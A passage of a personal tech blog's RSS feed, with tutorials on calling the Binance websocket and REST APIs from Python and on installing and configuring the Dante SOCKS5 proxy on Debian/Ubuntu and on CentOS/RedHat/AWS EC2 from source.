<p><em>Docs:</em> <a href="https://oliver-zehentleitner.github.io/unicorn-binance-websocket-api/"><em>UBWA</em></a><em>,</em> <a href="https://developers.binance.com/docs/binance-trading-api/websocket_api#cancel-order-trade"><em>Binance</em></a></p>
<p>If you cancel an order that is a part of an OCO pair, the entire OCO is canceled.</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/1ca32c20ff397e91f3466f788a718a6e">https://gist.github.com/oliver-zehentleitner/1ca32c20ff397e91f3466f788a718a6e</a></p>

<p><strong>Output:</strong></p>
<pre><code class="language-json">{"id":"d37149a608c4-7951-fbbb-33f6-93d68e2d","status":200,"result":{"symbol":"BUSDUSDT","origClientOrderId":"1","orderId":942396461,"orderListId":-1,"clientOrderId":"rkAnxL9oEZr7wzKaCMiAuQ","price":"1.00000000","origQty":"15.00000000","executedQty":"0.00000000","cummulativeQuoteQty":"0.00000000","status":"CANCELED","timeInForce":"GTC","type":"LIMIT","side":"SELL","selfTradePreventionMode":"NONE"},"rateLimits":[{"rateLimitType":"REQUEST_WEIGHT","interval":"MINUTE","intervalNum":1,"limit":1200,"count":3}]}
</code></pre>
<h4>Create an order</h4>
<p>Create a new order.</p>
<p><em>Docs:</em> <a href="https://oliver-zehentleitner.github.io/unicorn-binance-websocket-api/"><em>UBWA</em></a><em>,</em> <a href="https://developers.binance.com/docs/binance-trading-api/websocket_api#place-new-order-trade"><em>Binance</em></a></p>
<p><code>ubwa.api.spot.create_order()</code> automatically creates a <code>client_order_id</code> and returns it. This way you can always uniquely identify the order in further steps.</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/adf377f0c26740e7195d45d5f6bf93b3">https://gist.github.com/oliver-zehentleitner/adf377f0c26740e7195d45d5f6bf93b3</a></p>

<p><strong>Output:</strong></p>
<pre><code class="language-json">{"id":"4db8f58ee69e-d597-fb26-8551-786707fa","status":200,"result":{"symbol":"BUSDUSDT","orderId":942394911,"orderListId":-1,"clientOrderId":"1","transactTime":1680911574690,"price":"1.00000000","origQty":"15.00000000","executedQty":"0.00000000","cummulativeQuoteQty":"0.00000000","status":"NEW","timeInForce":"GTC","type":"LIMIT","side":"SELL","workingTime":1680911574690,"fills":[],"selfTradePreventionMode":"NONE"},"rateLimits":[{"rateLimitType":"ORDERS","interval":"SECOND","intervalNum":10,"limit":50,"count":1},{"rateLimitType":"ORDERS","interval":"DAY","intervalNum":1,"limit":160000,"count":20},{"rateLimitType":"REQUEST_WEIGHT","interval":"MINUTE","intervalNum":1,"limit":1200,"count":4}]}
</code></pre>
<hr />
<h3>6. Further information</h3>
<p>There are many other <a href="https://oliver-zehentleitner.github.io/unicorn-binance-websocket-api/unicorn_binance_websocket_api.html#unicorn_binance_websocket_api.api.BinanceWebSocketApiApi">functions to send requests to the Binance API</a>.</p>
<p>If you find bugs or have suggestions for improving the API implementation, you can <a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api/issues">open an issue via GitHub</a>.</p>
<p>For more information please read the <a href="https://oliver-zehentleitner.github.io/unicorn-binance-websocket-api/">documentation for unicorn-binance-websocket-api</a>.</p>
<hr />
<p>I hope you found this tutorial informative and enjoyable!</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading, and happy coding!</p>
]]></content:encoded></item><item><title><![CDATA[Installation and Configuration of Dante on Debian/Ubuntu with `apt`]]></title><description><![CDATA[Instructions for installing and configuring a Dante SOCKS5 proxy on Debian/Ubuntu on the command line.
The following instructions are for Debian and Ubuntu — for CentOS, RedHat, AWS EC2 and other Linu]]></description><link>https://blog.technopathy.club/installation-and-configuration-of-dante-on-debian-ubuntu-with-apt</link><guid isPermaLink="true">https://blog.technopathy.club/installation-and-configuration-of-dante-on-debian-ubuntu-with-apt</guid><category><![CDATA[Linux]]></category><category><![CDATA[socks5 proxy]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Wed, 15 Apr 2026 09:22:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/27a06642-444b-409a-9e85-95c420ff0c91.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>Instructions for installing and configuring a Dante SOCKS5 proxy on Debian/Ubuntu on the command line.</em></p>
<p>The <strong>following instructions are for Debian and Ubuntu</strong> — for <a href="https://blog.technopathy.club/installation-and-configuration-of-socks-proxy-danted-on-redhat-centos-aws-ec2-from-source-code">CentOS, RedHat, AWS EC2 and other Linux distributions that use <code>yum</code></a> as a package manager please <a href="https://blog.technopathy.club/installation-and-configuration-of-socks-proxy-danted-on-redhat-centos-aws-ec2-from-source-code">follow these instructions</a>.</p>
<p>If you are still looking for a server for this project, I can recommend the <strong>cx31</strong> server for 4.51 EUR/month with 20TB traffic volume from the European provider <a href="https://www.hetzner.com">HETZNER CLOUD</a>.</p>
<hr />
<h3>Step 1 — Install danted</h3>
<p>Project homepage: <a href="https://www.inet.no/dante/">https://www.inet.no/dante/</a></p>
<p>Log into your Linux server and get root privileges:</p>
<pre><code class="language-bash">sudo -i
</code></pre>
<p>Install with <code>apt</code>:</p>
<pre><code class="language-bash">apt update
apt install dante-server
</code></pre>
<blockquote>
<p><strong>Info:</strong> After installation dante does not work yet and will throw errors — it has not been configured yet!</p>
</blockquote>
<p>Verify the installation:</p>
<pre><code class="language-bash">danted -v
</code></pre>
<blockquote>
<p><strong>Info:</strong> In Ubuntu and other distributions <code>danted</code> can also be called <code>sockd</code>.</p>
</blockquote>
<p>Edit the config file with <code>nano</code> or <code>vi</code>:</p>
<pre><code class="language-bash">nano /etc/danted.conf
</code></pre>
<p>or</p>
<pre><code class="language-bash">vi /etc/danted.conf
</code></pre>
<p>Set the following configuration. Replace <code>1.2.3.4</code> with your client IP or use <code>0.0.0.0/0</code> as wildcard (<strong>please consider your security concept!</strong>):</p>
<pre><code class="language-plaintext">logoutput: stderr
logoutput: /var/log/danted.log
internal: eth0 port = 1080
external: eth0
socksmethod: username none #rfc931
client pass {
    from: 1.2.3.4/32 to: 0.0.0.0/0
    log: connect disconnect error
}
socks pass {
    from: 1.2.3.4/32 to: 0.0.0.0/0
    log: connect disconnect error
}
</code></pre>
<p>Start danted:</p>
<pre><code class="language-bash">systemctl start danted
</code></pre>
<p>Check the status:</p>
<pre><code class="language-bash">systemctl status danted
</code></pre>
<p>If desired, enable autostart:</p>
<pre><code class="language-bash">systemctl enable danted
</code></pre>
<p>You can now connect to the SOCKS5 proxy via the public server IP on port 1080.</p>
<p>If you have chosen a server from <a href="https://www.hetzner.com">HETZNER CLOUD</a>, here is a detailed <a href="https://community.hetzner.com/tutorials/install-and-configure-danted-proxy-socks5">step by step Dante SOCKS5 Proxy installation guide</a> tailored to Hetzner servers.</p>
<hr />
<h3>Step 2 — Test the SOCKS5 Proxy</h3>
<p>There are many ways to test the new SOCKS5 proxy.</p>
<p>**Firefox:**<em>Settings</em> → search for <em>proxy</em> → enter the SOCKS5 proxy address and port number. Open <a href="https://ipchicken.com">https://ipchicken.com</a> and check the IP address.</p>
<p><strong>Putty:</strong> Open Putty and click on <em>Connection</em> → <em>Proxy</em> → enter the SOCKS5 proxy address and port number. Open a SSH connection.</p>
<p><strong>curl:</strong> This should return your public IP address:</p>
<pre><code class="language-bash">curl -x socks5://&lt;your_ip_server&gt;:&lt;your_danted_port&gt; ifconfig.co
</code></pre>
<hr />
<p>I hope you found this tutorial informative and enjoyable!</p>
<p>Follow me on <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<hr />
<p><em>Image source:</em> <a href="https://pixabay.com"><em>pixabay.com</em></a></p>
]]></content:encoded></item><item><title><![CDATA[Restful Binance Requests in Python with UNICORN Binance REST API]]></title><description><![CDATA[In this article I will show you an easy way to get started with the Binance REST API using Python.
We use the unicorn-binance-rest-api package:

PyPI: https://pypi.org/project/unicorn-binance-rest-api]]></description><link>https://blog.technopathy.club/restful-binance-requests-in-python-with-unicorn-binance-rest-api</link><guid isPermaLink="true">https://blog.technopathy.club/restful-binance-requests-in-python-with-unicorn-binance-rest-api</guid><category><![CDATA[Python]]></category><category><![CDATA[binance]]></category><category><![CDATA[unicorn-binance-rest-api]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Wed, 15 Apr 2026 09:17:44 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/81c37daf-b9d2-4a0e-82f4-23db65813526.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>In this article I will show you an easy way to get started with the Binance REST API using Python.</em></p>
<p><strong>We use the</strong> <code>unicorn-binance-rest-api</code> <strong>package:</strong></p>
<ul>
<li><p>PyPI: <a href="https://pypi.org/project/unicorn-binance-rest-api">https://pypi.org/project/unicorn-binance-rest-api</a></p>
</li>
<li><p>Documentation: <a href="https://oliver-zehentleitner.github.io/unicorn-binance-rest-api">https://oliver-zehentleitner.github.io/unicorn-binance-rest-api</a></p>
</li>
<li><p>GitHub: <a href="https://github.com/oliver-zehentleitner/unicorn-binance-rest-api">https://github.com/oliver-zehentleitner/unicorn-binance-rest-api</a></p>
</li>
</ul>
<hr />
<h3>Installation</h3>
<p>Install via pip:</p>
<pre><code class="language-bash">pip install unicorn-binance-rest-api
</code></pre>
<p>Or via conda:</p>
<pre><code class="language-bash">conda install -c conda-forge unicorn-binance-rest-api
</code></pre>
<p>Alternatively download the <a href="https://github.com/oliver-zehentleitner/unicorn-binance-rest-api/releases">latest release</a> or clone the repository to run the <a href="https://github.com/oliver-zehentleitner/unicorn-binance-rest-api/tree/master/examples">examples</a> locally:</p>
<pre><code class="language-bash">git clone git@github.com:oliver-zehentleitner/unicorn-binance-rest-api.git
</code></pre>
<hr />
<h3>How to use BinanceRestApiManager?</h3>
<p>Import <a href="https://oliver-zehentleitner.github.io/unicorn-binance-rest-api/unicorn_binance_rest_api.html#unicorn_binance_rest_api.manager.BinanceRestApiManager"><code>BinanceRestApiManager</code></a> and create an instance:</p>
<pre><code class="language-python">from unicorn_binance_rest_api.manager import BinanceRestApiManager

ubra = BinanceRestApiManager(exchange="binance.com")
</code></pre>
<p>Configure logging — use <code>DEBUG</code> instead of <code>INFO</code> for a very verbose mode:</p>
<pre><code class="language-python">import logging
import os

logging.getLogger("unicorn_binance_rest_api")
logging.basicConfig(level=logging.INFO,
                    filename=os.path.basename(__file__) + '.log',
                    format="{asctime} [{levelname:8}] {process} {thread} {module}: {message}",
                    style="{")
</code></pre>
<p>Now you can execute various methods via the <code>ubra</code> instance:</p>
<pre><code class="language-python"># Get market depth
depth = ubra.get_order_book(symbol='BNBBTC')
print(f"depth: {depth}")

# Get all symbol prices
prices = ubra.get_all_tickers()
print(f"prices: {prices}")

# Get used weight
used_weight = ubra.get_used_weight()
print(f"weight: {used_weight}")

# Retrieve 30-minute klines for the last month of 2021
klines_30m = ubra.get_historical_klines("BTCUSDT", "30m", "1 Dec, 2021", "1 Jan, 2022")
print(f"klines_30m:\r\n{klines_30m}")
</code></pre>
<p>For private data, provide <a href="https://blog.technopathy.club/how-to-create-a-binance-api-key-and-api-secret">API credentials</a> when creating the instance:</p>
<pre><code class="language-python">api_key = "aaa"
api_secret = "bbb"

ubra = BinanceRestApiManager(api_key=api_key,
                             api_secret=api_secret,
                             exchange="binance.com")
</code></pre>
<p>Get private data:</p>
<pre><code class="language-python"># Get account info
account = ubra.get_account()
print(f"account: {account}")

# Get all orders
all_orders = ubra.get_all_orders(symbol='BTCUSDT', limit=10)
print(f"all_orders: {all_orders}")

# Get open orders
open_orders = ubra.get_open_orders(symbol='BTCUSDT')
print(f"open_orders: {open_orders}")
</code></pre>
<p>A full overview of all available methods can be found in the <a href="https://oliver-zehentleitner.github.io/unicorn-binance-rest-api">documentation</a>.</p>
<hr />
<p>I hope you found this tutorial informative and enjoyable!</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading, and happy coding!</p>
]]></content:encoded></item><item><title><![CDATA[Installation and Configuration of SOCKS Proxy Danted on Redhat/CentOS/AWS EC2 from Source Code]]></title><description><![CDATA[The goal of this tutorial is to describe the installation and configuration of the SOCKS5 Proxy Dante on a CentOS, Redhat, AWS EC2 or similar Linux distribution using the yum package manager to end up]]></description><link>https://blog.technopathy.club/installation-and-configuration-of-socks-proxy-danted-on-redhat-centos-aws-ec2-from-source-code</link><guid isPermaLink="true">https://blog.technopathy.club/installation-and-configuration-of-socks-proxy-danted-on-redhat-centos-aws-ec2-from-source-code</guid><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Wed, 15 Apr 2026 08:24:14 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/a056790f-19f6-4837-8f11-cf44ffb43f96.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>The goal of this tutorial is to describe the installation and configuration of the SOCKS5 Proxy <a href="https://www.inet.no/dante/">Dante</a> on a CentOS, Redhat, AWS EC2 or similar Linux distribution using the <code>yum</code> package manager to end up with <strong>a working SOCKS5 proxy</strong>.</p>
<p>For <a href="https://technopathy.club/installation-and-configuration-of-dante-on-debian-ubuntu-with-apt-ebce7410e7d2"><strong>Debian and Ubuntu</strong></a> please follow <a href="https://technopathy.club/installation-and-configuration-of-dante-on-debian-ubuntu-with-apt-ebce7410e7d2">these instructions</a>.</p>
<p>If you are still looking for a server for this project, I can recommend the <strong>cx31</strong> server for 4.51 EUR/month with 20TB traffic volume from the European provider <a href="https://www.hetzner.com">HETZNER CLOUD</a>.</p>
<p>Log into your server, access root privileges and run a system update:</p>
<pre><code class="language-bash">sudo -i
yum update -y
</code></pre>
<hr />
<h3>Step 1 — Installation</h3>
<p>The dante-server package is not available in the Amazon Linux package repository by default. Instead, build it from source following these steps.</p>
<p>Install the build tools and dependencies:</p>
<pre><code class="language-bash">yum groupinstall "Development Tools"
yum install libevent-devel
</code></pre>
<p>Download the Dante source code:</p>
<pre><code class="language-bash">curl -O https://www.inet.no/dante/files/dante-1.4.2.tar.gz
</code></pre>
<p>Extract the source code:</p>
<pre><code class="language-bash">tar xvzf dante-1.4.2.tar.gz
cd dante-1.4.2
</code></pre>
<p>Configure and compile dante-server:</p>
<pre><code class="language-bash">./configure
make
make install
</code></pre>
<p>Verify the installation:</p>
<pre><code class="language-bash">sockd -v
</code></pre>
<hr />
<h3>Step 2 — Configuration</h3>
<p>Copy the <code>sockd.conf</code> file to the appropriate location:</p>
<pre><code class="language-bash">cp /home/ec2-user/dante-1.4.2/example/sockd.conf /etc/sockd.conf
</code></pre>
<p>To find the IP address of the <code>eth0</code> interface run:</p>
<pre><code class="language-bash">ip add show eth0
</code></pre>
<p><strong>Example output:</strong></p>
<pre><code class="language-plaintext">2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 06:72:6b:5d:09:dd brd ff:ff:ff:ff:ff:ff
    inet 172.1.2.3/20 brd 172.1.2.255 scope global dynamic eth0
    valid_lft 3451sec preferred_lft 3451sec
    inet6 fe80::472:6bff:fe5d:9dd/64 scope link
    valid_lft forever preferred_lft forever
</code></pre>
<p><strong>Replace</strong> <code>172.1.2.3</code> <strong>with your server IP and</strong> <code>1.2.3.4</code> <strong>with your client IP from where you want to connect.</strong></p>
<p>Edit the config file:</p>
<pre><code class="language-bash">vi /etc/sockd.conf
</code></pre>
<pre><code class="language-plaintext">internal: 0.0.0.0 port = 1080
external: 172.1.2.3
logoutput: stderr
logoutput: /var/log/danted.log
clientmethod: none
socksmethod: none
user.privileged: root
user.notprivileged: nobody

client pass {
    from: 1.2.3.4/32 to: 0.0.0.0/0
    log: error connect disconnect
}
client block {
    from: 1.2.3.4/32 to: 0.0.0.0/0
    log: connect error
}
socks pass {
    from: 1.2.3.4/32 to: 0.0.0.0/0
    log: error connect disconnect
}
socks block {
    from: 1.2.3.4/32 to: 0.0.0.0/0
    log: connect error
}
</code></pre>
<p>The system service file is not included, so create one:</p>
<pre><code class="language-bash">vi /etc/systemd/system/sockd.service
</code></pre>
<pre><code class="language-ini">[Unit]
Description=SOCKS5 Proxy Server
After=network.target

[Service]
ExecStart=/usr/local/sbin/sockd -D
Restart=on-failure

[Install]
WantedBy=multi-user.target
</code></pre>
<p>Reload the system configuration and start the SOCKS5 proxy:</p>
<pre><code class="language-bash">systemctl daemon-reload
systemctl start sockd.service
systemctl enable sockd.service
</code></pre>
<p>Check the status to confirm it's running:</p>
<pre><code class="language-bash">systemctl status sockd
</code></pre>
<p>If everything worked, you now have a working SOCKS5 proxy server that only accepts connections from IP <code>1.2.3.4</code> and forwards to any destination address.</p>
<p>Additionally you can <a href="https://www.inet.no/dante/doc/latest/config/auth.html">enable proper authentication</a> — more info can be found <a href="https://www.inet.no/dante/doc/latest/config/auth.html">here</a>.</p>
<hr />
<p>I hope you found this tutorial informative and enjoyable! </p>
<p>Follow me on <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<hr />
<p><em>Image source:</em> <a href="https://pixabay.com"><em>pixabay.com</em></a></p>
]]></content:encoded></item></channel></rss>